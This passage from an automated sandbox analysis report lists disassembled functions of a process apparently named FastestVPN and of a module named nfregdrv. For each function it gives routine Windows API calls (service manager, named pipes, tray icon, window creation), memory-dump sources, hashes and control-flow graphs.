                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,00000000,?,?), ref: 10013B35
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle$FileModuleNameOpenProcess
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3706008839-0
                                                                                                                  • Opcode ID: 8cc178218c7d8c3221216592da3333f16c171a7615b685b5cff0377258111b15
                                                                                                                  • Instruction ID: 8e40d057b3745753bf0ea22a452f5ad3ee9e323a75b10f58dd7a4a987a81d136
                                                                                                                  • Opcode Fuzzy Hash: 8cc178218c7d8c3221216592da3333f16c171a7615b685b5cff0377258111b15
                                                                                                                  • Instruction Fuzzy Hash: 00F06D763053616BE211DB29EC88E6B37A9EBC9A11B054919F604C3200DB30EC4AC6B1
                                                                                                                  Function 10007DB3 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 1000A9B0: TlsGetValue.KERNEL32(00000000,1000AB0C,?,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001), ref: 1000A9B7
                                                                                                                    • Part of subcall function 1000A9B0: TlsSetValue.KERNEL32(00000000,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27), ref: 1000A9D8
                                                                                                                    • Part of subcall function 1000A995: TlsGetValue.KERNEL32(?,10007DC4,00000000), ref: 1000A99F
                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000), ref: 10007DDC
                                                                                                                  • ExitThread.KERNEL32 ref: 10007DE3
                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 10007DE9
                                                                                                                  • __freefls@4.LIBCMT ref: 10007E0A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$Thread$CurrentErrorExitLast__freefls@4
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3657912857-0
                                                                                                                  • Opcode ID: 64a50246a69103428987866c6c5c24afc67ad888acb03d37522b74bef4819570
                                                                                                                  • Instruction ID: 77834a4035ff60ce0f3138a5f24efa19d5a290510d67734f4d47669ef0895791
                                                                                                                  • Opcode Fuzzy Hash: 64a50246a69103428987866c6c5c24afc67ad888acb03d37522b74bef4819570
                                                                                                                  • Instruction Fuzzy Hash: CC01D67C9016519FF305EB70CC48A4E37F9FF492C0B228569F9098712ADB38E882CB52
                                                                                                                  Function 10007AF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __EH_prolog3.LIBCMT ref: 10007AF7
                                                                                                                  • __CxxThrowException@8.LIBCMT ref: 10007B29
                                                                                                                    • Part of subcall function 10008D7B: RaiseException.KERNEL32(?,?,10008876,?,?,?,?,?,10008876,?,1001BB8C,1001F1E4), ref: 10008DBB
                                                                                                                  Strings
                                                                                                                  • invalid string position, xrefs: 10007AFC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ExceptionException@8H_prolog3RaiseThrow
                                                                                                                  • String ID: invalid string position
                                                                                                                  • API String ID: 1961742612-1799206989
                                                                                                                  • Opcode ID: 65eb9927a461a61c6ced63933107e4e21b974b836ce3081774b1cc0b4902cc7c
                                                                                                                  • Instruction ID: d17f9ad7a6bda8f05d9bf2ec8c2e610a9defb4f0618d30455176f24681aaa848
                                                                                                                  • Opcode Fuzzy Hash: 65eb9927a461a61c6ced63933107e4e21b974b836ce3081774b1cc0b4902cc7c
                                                                                                                  • Instruction Fuzzy Hash: E1E0E275900458ABEB00DBD4CC45BDEB778FB18350F400129E245BB48AEFB8A688CB61

                                                                                                                  Execution Graph

                                                                                                                  Execution Coverage:4.3%
                                                                                                                  Dynamic/Decrypted Code Coverage:100%
                                                                                                                  Signature Coverage:0%
                                                                                                                  Total number of Nodes:27
                                                                                                                  Total number of Limit Nodes:2
                                                                                                                  execution_graph 2317 1231180 2318 1231192 2317->2318 2321 1231114 2318->2321 2320 123124c 2323 123111f 2321->2323 2322 1231a35 2322->2320 2323->2322 2326 123143c 2323->2326 2325 1231afc 2325->2320 2327 1231447 2326->2327 2332 123143c OpenSCManagerW 2327->2332 2333 1231aff 2327->2333 2328 1231b60 2340 12314e0 2328->2340 2330 1231b79 2330->2325 2332->2328 2334 1231b41 2333->2334 2338 1231aff OpenSCManagerW 2334->2338 2339 123143c OpenSCManagerW 2334->2339 2335 1231b60 2336 12314e0 OpenSCManagerW 2335->2336 2337 1231b79 2336->2337 2337->2328 2338->2335 2339->2335 2341 1231f10 OpenSCManagerW 2340->2341 2343 1231f98 2341->2343 2343->2330 2344 12319ef 2345 1231a00 2344->2345 2346 1231a35 2345->2346 2347 123143c OpenSCManagerW 2345->2347 2348 1231afc 2347->2348

                                                                                                                  Executed Functions

                                                                                                                  Function 012314E0 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 0 12314e0-1231f53 2 1231f55-1231f58 0->2 3 1231f5b-1231f5f 0->3 2->3 4 1231f61-1231f64 3->4 5 1231f67-1231f96 OpenSCManagerW 3->5 4->5 6 1231f98-1231f9e 5->6 7 1231f9f-1231fbc 5->7 6->7
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 01231F89
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000020.00000002.2558065828.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_32_2_1230000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ManagerOpen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1889721586-0
                                                                                                                  • Opcode ID: 02be7b4566f2d38528b9b4aaf553ba0c2e40ad1f9ffb0359415f30d61fd8e4bf
                                                                                                                  • Instruction ID: 3444aced2cb69495c1ce93c3ecc2568b3e57e0e2f22d378d3168fa1d02330dad
                                                                                                                  • Opcode Fuzzy Hash: 02be7b4566f2d38528b9b4aaf553ba0c2e40ad1f9ffb0359415f30d61fd8e4bf
                                                                                                                  • Instruction Fuzzy Hash: C22133B58003098FDB14DF9AC884ADEFBF5FB88310F14852EE619A7200D375A954CBA4
                                                                                                                  Function 01231F08 Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 10 1231f08-1231f53 11 1231f55-1231f58 10->11 12 1231f5b-1231f5f 10->12 11->12 13 1231f61-1231f64 12->13 14 1231f67-1231f96 OpenSCManagerW 12->14 13->14 15 1231f98-1231f9e 14->15 16 1231f9f-1231fbc 14->16 15->16
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 01231F89
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000020.00000002.2558065828.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_32_2_1230000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ManagerOpen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1889721586-0
                                                                                                                  • Opcode ID: 0008ec50810b1379c531ba1a8231b9d3e4e7b2bad96b6b0094e3dd13d9687136
                                                                                                                  • Instruction ID: 69cfce76acdabb432fd3c1aa43b9ff309536a3069cc8add4cf3fc1a590c50609
                                                                                                                  • Opcode Fuzzy Hash: 0008ec50810b1379c531ba1a8231b9d3e4e7b2bad96b6b0094e3dd13d9687136
                                                                                                                  • Instruction Fuzzy Hash: F32123B690030A8FDB14CF9AD884ADEFBB1BF88314F14852AE519A7200C375A545CBA0

                                                                                                                  Execution Graph

                                                                                                                  Execution Coverage:7.9%
                                                                                                                  Dynamic/Decrypted Code Coverage:100%
                                                                                                                  Signature Coverage:6.2%
                                                                                                                  Total number of Nodes:48
                                                                                                                  Total number of Limit Nodes:2
                                                                                                                  execution_graph 39955 19927c8 39957 1992829 CreateNamedPipeA 39955->39957 39958 199290b 39957->39958 39904 199239d 39905 19923aa 39904->39905 39907 19923b5 39904->39907 39912 19929f8 39905->39912 39916 1992a08 39905->39916 39906 19924b1 39907->39906 39908 19929f8 ConnectNamedPipe 39907->39908 39909 1992a08 ConnectNamedPipe 39907->39909 39908->39907 39909->39907 39913 1992a08 39912->39913 39919 1991fd8 39913->39919 39917 1991fd8 ConnectNamedPipe 39916->39917 39918 1992a15 39917->39918 39918->39907 39920 1992a48 ConnectNamedPipe 39919->39920 39922 1992ae8 39920->39922 39947 66db3d8 39948 66db3da 39947->39948 39951 66dce3f 39948->39951 39952 66dce44 39951->39952 39953 66d3350 Shell_NotifyIconW 39952->39953 39954 66db452 39953->39954 39959 19923ce 39961 19923cf 39959->39961 39960 19924b1 39961->39960 39962 19929f8 ConnectNamedPipe 39961->39962 39963 1992a08 ConnectNamedPipe 39961->39963 39962->39961 39963->39961 39923 66d22c0 39924 66d22d2 39923->39924 39927 66d3241 39924->39927 39928 66d324d 39927->39928 39930 66d3297 39928->39930 39935 66d3341 39928->39935 39939 66d3350 39928->39939 39929 66d32bc 39929->39930 39931 66d3598 Shell_NotifyIconW 39929->39931 39932 66d3587 Shell_NotifyIconW 39929->39932 39931->39930 39932->39930 39936 66d334a 39935->39936 39943 66d2634 39936->39943 39940 66d3378 39939->39940 39941 66d2634 Shell_NotifyIconW 39940->39941 39942 66d339e 39941->39942 39942->39942 39944 66d33f0 Shell_NotifyIconW 39943->39944 39946 66d34ef 39944->39946 39972 66d2d10 39973 66d2d5b CreateWindowExW 39972->39973 39975 66d2dc5 39973->39975

                                                                                                                  Executed Functions

                                                                                                                  Function 0BDBDD40 Relevance: 3.7, Strings: 2, Instructions: 1235COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: C!$s"
                                                                                                                  • API String ID: 0-3088624037
                                                                                                                  • Opcode ID: 92178ba7f815b8c9f42ce580d0afc9d37213b085c8368d52210e7ffb21afec2b
                                                                                                                  • Instruction ID: f718bacca78ca1ec00cac2311023059c4b66e621dedb13618c720db66da1b2ad
                                                                                                                  • Opcode Fuzzy Hash: 92178ba7f815b8c9f42ce580d0afc9d37213b085c8368d52210e7ffb21afec2b
                                                                                                                  • Instruction Fuzzy Hash: C1B21474B00215CFDB24DF29C494AA9BBF2BF88710F1589A9E54ADB365DB30EC81CB51
                                                                                                                  Function 019927C8 Relevance: 1.6, APIs: 1, Instructions: 121pipeCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 520 19927c8-1992827 521 1992829-199284e 520->521 522 199287b-19928a1 520->522 521->522 525 1992850-1992852 521->525 526 19928a3 522->526 527 19928a6-1992909 CreateNamedPipeA 522->527 528 1992875-1992878 525->528 529 1992854-199285e 525->529 526->527 533 199290b-1992911 527->533 534 1992912-1992950 527->534 528->522 531 1992860 529->531 532 1992862-1992871 529->532 531->532 532->532 535 1992873 532->535 533->534 539 1992960 534->539 540 1992952-1992956 534->540 535->528 543 1992961 539->543 540->539 541 1992958-199295b call 19919d0 540->541 541->539 543->543
                                                                                                                  APIs
                                                                                                                  • CreateNamedPipeA.KERNEL32(?,?,?,?,?,?,?,?), ref: 019928F9
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3391562356.0000000001990000.00000040.00000800.00020000.00000000.sdmp, Offset: 01990000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_1990000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateNamedPipe
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2489174969-0
                                                                                                                  • Opcode ID: c2f355877947fea430f49b9c1476243c282b1589ec93d418de007ac8f6ac2f30
                                                                                                                  • Instruction ID: 5b0d20c5658560b3024be8cfe9cc1344255a5078b7e76f48b4d066ee97320c06
                                                                                                                  • Opcode Fuzzy Hash: c2f355877947fea430f49b9c1476243c282b1589ec93d418de007ac8f6ac2f30
                                                                                                                  • Instruction Fuzzy Hash: 24510371D00359AFDB10CFAEC984B9EBFF9BB48750F148129E818AB251D7759840CF91
                                                                                                                  Function 0BDB6900 Relevance: .8, Instructions: 788COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 1dba92cc49b92806ea7d61bb80a2f2361831b948ce5f597d471ca8c4fc1a55bd
                                                                                                                  • Instruction ID: 5552d146f370c2ff15cb16589779a65c69c804522bd0cf438f1f8405de4a4722
                                                                                                                  • Opcode Fuzzy Hash: 1dba92cc49b92806ea7d61bb80a2f2361831b948ce5f597d471ca8c4fc1a55bd
                                                                                                                  • Instruction Fuzzy Hash: 1D621570A00205DFCB14DFA8D484AADFBF2FF88720B158169E9169B3A5DB35ED45CB90
                                                                                                                  Function 0BDBA910 Relevance: .6, Instructions: 641COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: bdea247cbbe5f804e12c94239a20a02c34f1736d6e5a91a0e1721435737e9a26
                                                                                                                  • Instruction ID: 410c16ecc310d8cda7448a35d65b2d227d571637ff81247df55216c3422bbcc7
                                                                                                                  • Opcode Fuzzy Hash: bdea247cbbe5f804e12c94239a20a02c34f1736d6e5a91a0e1721435737e9a26
                                                                                                                  • Instruction Fuzzy Hash: 67425630B00241CFDB19DF68C494AAEFBF2AF89350F158469E51A9B3A5DB35EC85CB50
                                                                                                                  Function 0BDB5898 Relevance: .6, Instructions: 629COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 2662217c98b737058a422d47afffc8ec4828b95c9fb2a63f85b41b6f73ab1b6b
                                                                                                                  • Instruction ID: f0e15608d337afb975392c8121721ecf9def7818ad498691c230c5a2824ee405
                                                                                                                  • Opcode Fuzzy Hash: 2662217c98b737058a422d47afffc8ec4828b95c9fb2a63f85b41b6f73ab1b6b
                                                                                                                  • Instruction Fuzzy Hash: 38427831B00245CFCB25DF69D568AAAF7F6FF88725F148829D1578B290CB39E981DB10
                                                                                                                  Function 0BDBB630 Relevance: .5, Instructions: 477COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 4c036565a80de8c96750015a9b49004d9caab45fb99ecf6ef9f4becf332a4823
                                                                                                                  • Instruction ID: fbc0fb37f5d174d9de62fa607a15c15b600d3522a607101042b1e0e3ac7221b8
                                                                                                                  • Opcode Fuzzy Hash: 4c036565a80de8c96750015a9b49004d9caab45fb99ecf6ef9f4becf332a4823
                                                                                                                  • Instruction Fuzzy Hash: 32220534A00258DFCB15DF65D484AADBBB2FF89315F1480AAE80AAB361DB31DD85CF51
                                                                                                                  Function 0BDBA1B0 Relevance: .5, Instructions: 456COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 0e0fa74be6e4e1568bcb6d4dbef18334214fea5e397cd4f8dcf917a1294cd285
                                                                                                                  • Instruction ID: 280fcb3019b670ac66df4460261ec05ec518dca2e7f6596e03a62ab4f74627ae
                                                                                                                  • Opcode Fuzzy Hash: 0e0fa74be6e4e1568bcb6d4dbef18334214fea5e397cd4f8dcf917a1294cd285
                                                                                                                  • Instruction Fuzzy Hash: 03122774A00245CFCB05DF68C584EAAFBF2FF89310B1984A9E5499B366DB30ED45CB50
                                                                                                                  Function 0BDB8030 Relevance: .4, Instructions: 405COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 465f0c824df40346b75f73bee7897933a0b5ee0b40554eb9d1a0592c6847e1a7
                                                                                                                  • Instruction ID: fbc1418dafa4702c1818e69f5c4e5746af81d227b4493d51a89b94accf0b9cb2
                                                                                                                  • Opcode Fuzzy Hash: 465f0c824df40346b75f73bee7897933a0b5ee0b40554eb9d1a0592c6847e1a7
                                                                                                                  • Instruction Fuzzy Hash: 07026731A00645CFDB25CF69C484AAEFBF6FF48320F188569E45A9B761D735E842EB40
                                                                                                                  Function 0BDB3748 Relevance: .4, Instructions: 401COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 0faedf162b4881b065200ca7a133f0f62f191d6bc3316b81e1ff5a7964e1abb5
                                                                                                                  • Instruction ID: c9dbcac19dceac13fba43d8b6674898c63caa428800263d5aa2105368119af73
                                                                                                                  • Opcode Fuzzy Hash: 0faedf162b4881b065200ca7a133f0f62f191d6bc3316b81e1ff5a7964e1abb5
                                                                                                                  • Instruction Fuzzy Hash: 94F15C74A00209DFDB08EFA9C494AADFBB2FF88720F148569D416AB395DB34DC46DB44
                                                                                                                  Function 019927BD Relevance: 1.6, APIs: 1, Instructions: 122pipeCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 495 19927bd-1992827 497 1992829-199284e 495->497 498 199287b-19928a1 495->498 497->498 501 1992850-1992852 497->501 502 19928a3 498->502 503 19928a6-1992909 CreateNamedPipeA 498->503 504 1992875-1992878 501->504 505 1992854-199285e 501->505 502->503 509 199290b-1992911 503->509 510 1992912-1992950 503->510 504->498 507 1992860 505->507 508 1992862-1992871 505->508 507->508 508->508 511 1992873 508->511 509->510 515 1992960 510->515 516 1992952-1992956 510->516 511->504 519 1992961 515->519 516->515 517 1992958-199295b call 19919d0 516->517 517->515 519->519
                                                                                                                  APIs
                                                                                                                  • CreateNamedPipeA.KERNEL32(?,?,?,?,?,?,?,?), ref: 019928F9
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3391562356.0000000001990000.00000040.00000800.00020000.00000000.sdmp, Offset: 01990000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_1990000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateNamedPipe
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2489174969-0
                                                                                                                  • Opcode ID: d4b6354e64d17a3d5778ab8875f16ad94ec2a9c6b9554755fb9054abcfa16257
                                                                                                                  • Instruction ID: 999f8ad3e4d4dee4b2c35ea6f36b7fe4f33eed806c7c687ad3d4833b13a09117
                                                                                                                  • Opcode Fuzzy Hash: d4b6354e64d17a3d5778ab8875f16ad94ec2a9c6b9554755fb9054abcfa16257
                                                                                                                  • Instruction Fuzzy Hash: 9F5123B1D00359EFDB10CFAEC984B9EBBF9BB48710F148129E818AB291D7749840CF91
                                                                                                                  Function 066D33DD Relevance: 1.6, APIs: 1, Instructions: 106windowCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 544 66d33dd-66d3494 548 66d349c-66d34ed Shell_NotifyIconW 544->548 549 66d34ef-66d34f5 548->549 550 66d34f6-66d3538 548->550 549->550 553 66d354a-66d3551 550->553 554 66d353a-66d3540 550->554 555 66d3568 553->555 556 66d3553-66d3562 553->556 554->553 558 66d3569 555->558 556->555 558->558
                                                                                                                  APIs
                                                                                                                  • Shell_NotifyIconW.SHELL32(?,-00000428), ref: 066D34DA
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3418939454.00000000066D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066D0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_66d0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: IconNotifyShell_
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1144537725-0
                                                                                                                  • Opcode ID: a2f0b9232df80be544070bd109a397111e96627e7183879f109543fd7a42791e
                                                                                                                  • Instruction ID: 8a85971469e94366515a74bb05f55c3176c94a53a8f3d3f1ed565b87d2dc008e
                                                                                                                  • Opcode Fuzzy Hash: a2f0b9232df80be544070bd109a397111e96627e7183879f109543fd7a42791e
                                                                                                                  • Instruction Fuzzy Hash: 9D4105B0D053588FDB60CF59C9847DDBBF8AB49304F5080EAD60CA7252D7749A88CF59
                                                                                                                  Function 066D2634 Relevance: 1.6, APIs: 1, Instructions: 100windowCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 559 66d2634-66d34ed Shell_NotifyIconW 563 66d34ef-66d34f5 559->563 564 66d34f6-66d3538 559->564 563->564 567 66d354a-66d3551 564->567 568 66d353a-66d3540 564->568 569 66d3568 567->569 570 66d3553-66d3562 567->570 568->567 572 66d3569 569->572 570->569 572->572
                                                                                                                  APIs
                                                                                                                  • Shell_NotifyIconW.SHELL32(?,-00000428), ref: 066D34DA
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3418939454.00000000066D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066D0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_66d0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: IconNotifyShell_
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1144537725-0
                                                                                                                  • Opcode ID: 290ef31687c633618d3ad7c943c1bf141031285d604caab0650c922af0db3040
                                                                                                                  • Instruction ID: ffa2aec7d6f4e3981ff769f23f24c57134d8f228f228a8fb0f90bd7babe9cda8
                                                                                                                  • Opcode Fuzzy Hash: 290ef31687c633618d3ad7c943c1bf141031285d604caab0650c922af0db3040
                                                                                                                  • Instruction Fuzzy Hash: 9541E3B0D012288FDB64CF59C9847DDBBF8AB49304F9080EAD60CB7251D775AA88CF59
                                                                                                                  Function 066D2D08 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1111 66d2d08-66d2d5f 1113 66d2d67-66d2d6d 1111->1113 1114 66d2d61-66d2d64 1111->1114 1115 66d2d6f-66d2d78 1113->1115 1116 66d2d7b-66d2dc3 CreateWindowExW 1113->1116 1114->1113 1115->1116 1117 66d2dcc-66d2de9 1116->1117 1118 66d2dc5-66d2dcb 1116->1118 1118->1117
                                                                                                                  APIs
                                                                                                                  • CreateWindowExW.USER32(?,00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 066D2DB6
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3418939454.00000000066D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066D0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_66d0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateWindow
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 716092398-0
                                                                                                                  • Opcode ID: 4591a182515c3e114c809bbe6e5ec56f8e8f288c3065308b7fa56706e0e70521
                                                                                                                  • Instruction ID: ba8d373af7fb106b1b8e5e8b689ba2f55ce3735d2358c013dc531ec7c36bd33c
                                                                                                                  • Opcode Fuzzy Hash: 4591a182515c3e114c809bbe6e5ec56f8e8f288c3065308b7fa56706e0e70521
                                                                                                                  • Instruction Fuzzy Hash: 0F31F272D01619AFCF11CF99C884ADEBBB5FF4C714F11821AEA18A7250C335A955CFA0
                                                                                                                  Function 066D2D10 Relevance: 1.6, APIs: 1, Instructions: 73COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
